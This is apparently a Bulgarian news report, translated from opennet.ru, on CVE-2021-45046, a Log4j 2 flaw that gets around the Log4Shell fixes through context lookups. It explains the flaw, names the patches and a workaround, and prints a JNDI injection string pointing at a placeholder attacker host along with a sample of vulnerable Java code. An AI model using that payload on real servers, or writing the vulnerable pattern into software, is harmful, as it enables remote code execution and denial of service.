Нов вариант на атака срещу Log4j 2, позволяващ да се заобиколи добавената защита

В библиотеката Log4j 2 е открита нова уязвимост (CVE-2021-45046) в реализацията на подстановките JNDI, която се проявява, въпреки добавените корекции в версия 2.15 и независимо от използването на настройката «log4j2.noFormatMsgLookup» за защита. Проблемът е особено опасен за стари версии на Log4j 2, защитени с флага «noFormatMsgLookup», тъй като позволява заобикаляне на защитата от предишната уязвимост (Log4Shell, CVE-2021-44228), която позволява изпълнението на произволен код на сървера. За потребителите на версия 2.15 експлоатацията е ограничена до създаване на условия за аварийно завършване на приложението поради изчерпване на наличните ресурси.

Уязвимостта се проявява само в системи, при които при журнализацията се използват контекстни заявки (Context Lookup), като ${ctx:loginId}, или MDC шаблони (Thread Context Map), например, %X, %mdc и %MDC. Експлоатацията се състои в създаване на условия за записване на лог данни, съдържащи JNDI подстановки, при използване на контекстни заявки или MDC шаблони, които определят правилата за форматиране на изхода в лог.

Изследователи от LunaSec посочват, че за версии на Log4j под 2.15 тази уязвимост може да бъде използвана като нова точка за атака Log4Shell, водеща до изпълнението на код, ако при запис в лог се използват изрази ThreadContext, съдържащи външни данни, независимо от активирането на флага «noMsgFormatLookups» или шаблона «%m{nolookups}».

Нов вариант на атака срещу Log4j 2, позволяващ да се заобиколи добавената защита

Заобикалянето на защитата е в това, че вместо директна подмяна «${jndi:ldap://attacker.com/a}», това изражение се подменя чрез стойността на междинна променлива, използвана в правилата за форматиране на изхода в лог. Например, ако при запис в лог се използва контекстна променлива ${ctx:apiversion}, атаката може да се проведе чрез замяна на данните «${jndi:ldap://attacker.com/a}» със стойността, записвана в променливата apiversion. Пример за уязвим код: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Стойността на HTTP заглавката «X-Api-Version» се предава в ThreadContext ThreadContext.put("apiversion", apiVersion); // При запис в лог външната стойност apiversion ще бъде обработена чрез подмяна ${ctx:apiversion} logger.info("Получена заявка за версия на API"); return "Здравей, свят!"; }

В версията Log4j 2.15 уязвимостта може да бъде използвана за извършване на DoS атаки при предаване на стойности в ThreadContext, които водят до безкрайно циклене на обработката на шаблона за форматиране на изхода.

Нов вариант на атака срещу Log4j 2, позволяващ да се заобиколи добавената защита

За блокиране на уязвимостта са публикувани обновления 2.16 и 2.12.2. В версия Log4j 2.16, освен корекциите, реализирани в версия 2.15 и привързването на JNDI LDAP заявки към «localhost», по подразбиране е напълно деактивирана функционалността на JNDI и е премахната поддръжката на шаблони за подмяна на съобщения. Като временно решение за защита се предлага да се премахне класът JndiLookup от classpath (например, «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).

Следете за появата на корекции в пакетите на страниците на дистрибуциите (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и производителите на Java платформи (GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure и др.).

Източник: opennet.ru

Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster